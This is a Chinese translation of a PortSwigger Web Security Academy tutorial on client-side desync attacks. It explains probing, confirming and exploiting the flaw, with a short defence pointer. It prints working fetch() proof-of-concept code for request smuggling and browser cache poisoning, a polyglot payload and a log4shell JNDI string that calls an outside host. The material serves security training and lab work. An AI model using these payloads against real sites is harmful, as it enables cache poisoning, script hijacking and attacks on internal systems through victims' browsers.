客户端异步攻击
翻译
原文:https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- name: 翻译
desc: 原文:https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1客户端异步攻击
经典的异步请求走私攻击,依赖于普通浏览器根本不会发送的故意畸形请求。这些攻击被限制在使用前端 / 后端架构的网站。但是,正如我们从 CL.0 攻击中了解到的那样,使用完全兼容浏览器的 HTTP/1.1 请求可能会导致不同步。这不仅为服务端请求走私开辟了新的可能性,还带来了一种全新的威胁 - 客户端异步攻击。
PortSwigger Research
本节中的材料和实验基于 PortSwigger Research 的《浏览器驱动的异步攻击-HTTP请求走私的新前沿》 (opens new window)。
# 2什么是客户端异步攻击?
客户端异步(CSD)是一种攻击,它使受害者的 Web 浏览器与易受攻击网站的连接失去同步。而常规请求走私攻击会使 前端和后端服务器 之间的连接失去同步,两种攻击形成鲜明对比。
有时可以诱使 Web 服务器在不读取正文的情况下响应POST
请求。随后,如果浏览器允许对其他请求复用同一连接,则会导致客户端异步漏洞。
概括地说,CSD 攻击涉及以下阶段:
- 受害者在任意域上访问包含恶意 JavaScript 的网页。
- JavaScript 导致受害者的浏览器向易受攻击的网站发出请求。这将会在其正文中,包含攻击者控制的请求前缀,这与普通的请求走私攻击非常相似。
- 在服务器响应初始请求之后,恶意前缀会留在服务器的 TCP/TLS 套接字上,这使得任何与浏览器的连接产生不同步。
- 然后,JavaScript 触发一个后续请求,沿着中毒的连接继续发送。该请求被附加到恶意前缀,从而引发来自服务器的有害响应。
由于这些攻击 不依赖于 两台服务器之间的解析差异,这意味着即使是单服务器网站,也可能容易受到攻击。
笔记
要使这些攻击起效,请务必确定目标 Web 服务器不支持 HTTP/2。客户端异步依赖于 HTTP/1.1 连接的复用,浏览器通常在可用的情况下支持 HTTP/2。
此规则有一个例外,假设存在一个仅支持 HTTP/1.1 的转发代理,你怀疑你的预期受害者将会通过该代理访问目标站点。
# 3测试客户端异步漏洞
由于需要依赖浏览器进行攻击,导致攻击的复杂性增加,因此在测试客户端异步漏洞时必须有条不紊。虽然有时很想跳过一些步骤,但我们建议采用以下工作流程。这可以分阶段来确认每个攻击元素的假设。
- 在 Burp 中探测潜在的异步向量。 (opens new window)
- 在 Burp 中确认异步向量。 (opens new window)
- 构建概念验证,以在浏览器中复现行为。 (opens new window)
- 识别一个可利用的小工具。
- 在 Burp 中构建一个有效的漏洞利用 (opens new window)。
- 在你的浏览器中复现该漏洞利用 (opens new window)。
Burp Scanner (opens new window) 和 HTTP Request Smuggler (opens new window) 扩展,都可以帮助你自动化此过程的大部分内容,但了解如何手动执行此操作,可以巩固你对其工作原理的理解。
# 3.1探测客户端异步向量
测试客户端异步漏洞的第一步,识别或构建一个导致服务器忽略Content-Length
标头的请求。探测此行为的最简单方法是发送一个请求,该请求指定的Content-Length
比实际正文长:
- 如果请求挂起或超时,则表明服务器正在等待标头所承诺的剩余字节数。
- 如果你立即得到响应,说明你可能找到了 CSD 载体。这值得进一步调查。
与 CL.0 漏洞 (opens new window)一样,我们发现最有可能的候选者是不期望POST
请求的端点,例如静态文件或服务器级重定向。
或者,你也可以通过 触发服务器错误 来引发此行为。在这种情况下请记住,你仍然需要浏览器来发送跨域请求。在实践中,这意味着你只能篡改 URL、正文以及一些零碎的东西,例如Referer
标头和Content-Type
标头的后半部分。
Referer: https://evil-user.net/?%00
Content-Type: application/x-www-form-urlencoded; charset=null, boundary=x
2
你还可以尝试在 Web 根目录之上进行导航,从而触发服务器错误。请记住,浏览器会规范化路径,因此你需要对遍历序列的字符进行 URL 编码:
GET /%2e%2e%2f HTTP/1.1
# 3.2确认Burp中的异步向量
值得注意的是,一些安全服务器在响应时不会等待正文,但当正文后续到达时仍能正确解析它。其他一些服务器无法正确处理Content-Length
,而是在响应后立即关闭连接,使其无法利用。
要过滤掉这些请求,请尝试在同一连接上发送两个请求,看看是否可以使用第一个请求的正文,来影响对第二个请求的响应,就像探测 CL.0 请求走私 (opens new window)时一样。
# 3.3在浏览器中构建概念验证
使用 Burp 确定合适的向量后,请确认你是否可以在浏览器中复现异步。
浏览器要求
为了减少干扰,并确保你的测试尽可能地接近任意受害者的浏览器:
- 使用不通过 Burp Suite 代理流量的浏览器 - 使用任何 HTTP 代理都可能对攻击的成功性产生重大影响。我们推荐 Chrome,因为它的开发者工具提供了一些有用的故障排查功能。
- 禁用任何浏览器扩展。
- 转到你自己的站点,从这里对受害者发起攻击。该站点必须与易受攻击的站点位于不同的域上,并通过 HTTPS 进行访问。在我们的实验室中,你可以使用提供的漏洞利用服务器。
- 打开浏览器的开发人员工具,然后转到 “Network”(网络)选项卡。
- 进行以下调整:
- 选择 “Preserve log”(保留日志)选项。
- 右键单击标头并启用 “Connection ID”(连接 ID)列。 这样可以确保,浏览器发送的每个请求都被记录在 “Network”(网络)选项卡上,包括连接的详细信息。这有助于以后解决任何问题。
- 切换到 “Console”(控制台)选项卡并使用
fetch()
复制你在 Burp 中测试的异步探针。代码应如下所示:
fetch('https://vulnerable-website.com/vulnerable-endpoint', {
method: 'POST',
body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x', // 恶意前缀
mode: 'no-cors', // 确保连接 ID 在 “网络” 选项卡上可见
credentials: 'include' // 毒害 “with-cookies” 连接池
}).then(() => {
location = 'https://vulnerable-website.com/' // 使用已中毒的连接
})
2
3
4
5
6
7
8
请注意,除了指定POST
方法并将恶意前缀添加到正文之外,我们还设置了以下选项:
mode: 'no-cors'
- 这可以确保每个请求的连接 ID 在 “Network”(网络)选项卡上可见,这有助于故障排除。credentials: 'include'
- 浏览器通常对带有 cookie 和没有 cookie 的请求使用单独的连接池。此选项可以确保你正在毒害 “with-cookies”(包含cookie)池,这是大多数漏洞利用所希望的。
当你运行以上命令时,应在 “Network”(网络)选项卡上看到两个请求。第一个请求应该收到正常的响应。如果第二个请求收到了对恶意前缀(在本例中为 404)的响应,则表明你成功地触发了来自浏览器的异步。
# 3.4处理重定向
正如我们已经提到的,触发服务器级重定向的端点请求,是客户端异步的常见向量。在构建漏洞利用时,这会带来一个小障碍,因为浏览器会遵循此重定向,从而破坏攻击序列。幸运的是,有一个简单的解决方法。
为初始请求设置mode: 'cors'
选项,你可以故意触发 CORS 错误,从而阻止浏览器跟踪重定向。然后,你可以通过调用catch()
而不是then
来恢复攻击序列。例如:
fetch('https://vulnerable-website.com/redirect-me', {
method: 'POST',
body: 'GET /hopefully404 HTTP/1.1\r\nFoo: x',
mode: 'cors',
credentials: 'include'
}).catch(() => {
location = 'https://vulnerable-website.com/'
})
2
3
4
5
6
7
8
这种方法的缺点是,无法在 “Network”(网络) 选项卡上看到连接 ID,这可能会使故障排除变得困难。
# 4利用客户端异步漏洞
当你找到一个合适的向量 (opens new window),并确认你可以成功地在浏览器中引起异步 (opens new window),你就可以开始寻找可利用的小工具了。
# 4.1经典攻击的客户端变体
通过这些技术,你可以执行许多与服务端请求走私相同的攻击 (opens new window)。你所需要的只是让受害者访问一个恶意网站,从而使其浏览器发起攻击。
- name: 实验室-专家
desc: 客户端异步 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/browser/client-side-desync/lab-client-side-desync
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 4.2客户端缓存投毒
我们之前介绍了,如何使用服务端异步,将站内重定向转换为开放重定向,从而使你能够劫持 JavaScript 资源导入。现在使用 客户端异步 即可实现相同的效果,但想在正确的时间破坏正确的连接,可能很棘手。相反,使用异步来毒害浏览器缓存要容易得多。这样,你就无需担心它使用哪个连接来加载资源。
在本节中,我们将引导你完成构建此攻击的过程。这涉及以下高级步骤:
- 识别合适的 CSD 向量 (opens new window)并与浏览器建立异步连接。
- 使用异步连接,通过重定向毒害缓存。 (opens new window)
- 触发从目标域导入资源。 (opens new window)
- 投递有效载荷。 (opens new window)
笔记
在浏览器中测试此攻击时,请确保在每次尝试之前清除缓存。
(Settings > Clear browsing data > Cached images and files)
(设置 > 清除浏览数据 > 缓存的图像和文件)
# 4.2.1通过重定向毒害缓存
找到 CSD 向量 (opens new window)并确认可以在浏览器中复现它 (opens new window)后,你需要确定合适的重定向小工具 (opens new window)。之后,毒害缓存就相当简单了。
首先,调整你的概念验证,使走私的前缀触发重定向,转到你托管了恶意载荷的域。接下来,将后续请求更改为对目标 JavaScript 文件的直接请求。
生成的代码应如下所示:
<script>
fetch('https://vulnerable-website.com/desync-vector', {
method: 'POST',
body: 'GET /redirect-me HTTP/1.1\r\nFoo: x',
credentials: 'include',
mode: 'no-cors'
}).then(() => {
location = 'https://vulnerable-website.com/resources/target.js'
})
</script>
2
3
4
5
6
7
8
9
10
这将毒害缓存,然后会 无限重定向 回到你的脚本。你可以在浏览器中查看脚本,并研究开发者工具中的 “Network”(网络) 选项卡来确认这一点。
笔记
你需要通过 到目标域的顶级导航 来触发后续请求。否则由于浏览器划分缓存的方式,使用fetch()
发出跨域请求可能会毒害错误的缓存。
# 4.2.2触发资源导入
让受害者陷入无限循环可能会使他烦躁,但这并不是一个很大的漏洞。你现在需要进一步开发脚本,以便在浏览器返回响应之前毒害其缓存,它会导航到易受攻击站点上的页面,该页面将触发资源导入。使用条件语句可以很容易地实现这一点,根据浏览器窗口是否已经查看了你的脚本,来执行不同的代码。
当浏览器尝试在目标站点上导入资源时,它将使用其中毒的缓存条目,并第三次重定向回到你的恶意页面。
# 4.2.3投递载荷
在这个阶段,你已经为攻击奠定了基础,但最后的挑战是如何向受害者提供有害的载荷。
最初,受害者的浏览器将你的恶意页面加载为 HTML,并在你自己的域上下文中执行嵌套的 JavaScript。最终,当它尝试在目标域上导入 JavaScript 资源并被重定向到你的恶意页面时,你会注意到该脚本未执行。这是因为当浏览器需要 JavaScript 时,你的服务器仍然在提供 HTML 响应。
对于实际的漏洞利用,你需要一种方法,在同一端点提供纯 JavaScript,同时确保仅在最后阶段执行,以避免干扰设置好的请求。
一种可行的方法,通过将 HTML 包装在 JavaScript 注释中来创建多语言有效载荷:
alert(1);
/*
<script>
fetch( ... )
</script>
*/
2
3
4
5
6
当浏览器将页面加载为 HTML 时,它只会执行<script>
标记中的 JavaScript。最终阶段,当它在 JavaScript 上下文中加载它时,它只会执行alert()
,而将其余内容视为任意开发人员注释。
有关我们如何在野外发现此漏洞的更多信息,请查看《浏览器驱动的异步攻击-HTTP请求走私的新前沿》 (opens new window)。
# 4.3针对内部基础设施的代理攻击
大多数的服务端异步攻击,都涉及到对 HTTP 标头的操作,这种操作只有使用 Burp Repeater 之类的工具才能实现。例如,你无法让某人的浏览器在User-Agent
标头中发送带有 log4shell 载荷的请求:
GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
2
3
这意味着,这些攻击通常仅限于你可以直接访问的网站。但是,如果网站容易受到客户端异步的影响,则你可以诱使受害者的浏览器发送以下请求,来达到预期的效果:
POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
User-Agent: Mozilla/5.0 etc.
Content-Length: 86
GET / HTTP/1.1
Host: vulnerable-website.com
User-Agent: ${jndi:ldap://x.oastify.com}
2
3
4
5
6
7
8
由于 所有的请求 都来自受害者的浏览器,你可以针对 他们有权访问的任何网站 进行攻击。这包括位于内网中的受信任站点或隐藏在基于 IP 限制背后的站点。一些浏览器正在研究这类攻击的缓解措施,但这些措施可能只覆盖了部分区域。
# 5如何防范客户端异步漏洞
可用于防范 客户端异步漏洞 和其他异步攻击的一些高级措施,请参阅如何防范 HTTP 请求走私漏洞 (opens new window)。
下一步该做什么?
你已经了解了 CL.0 (opens new window) 和 CSD (opens new window) 攻击,但还有另一种潜在的异步向量,它可以在最初看似安全的网站上,打开服务端和客户端漏洞的大门。若要了解更多信息,请查看基于暂停的异步漏洞 (opens new window)LABS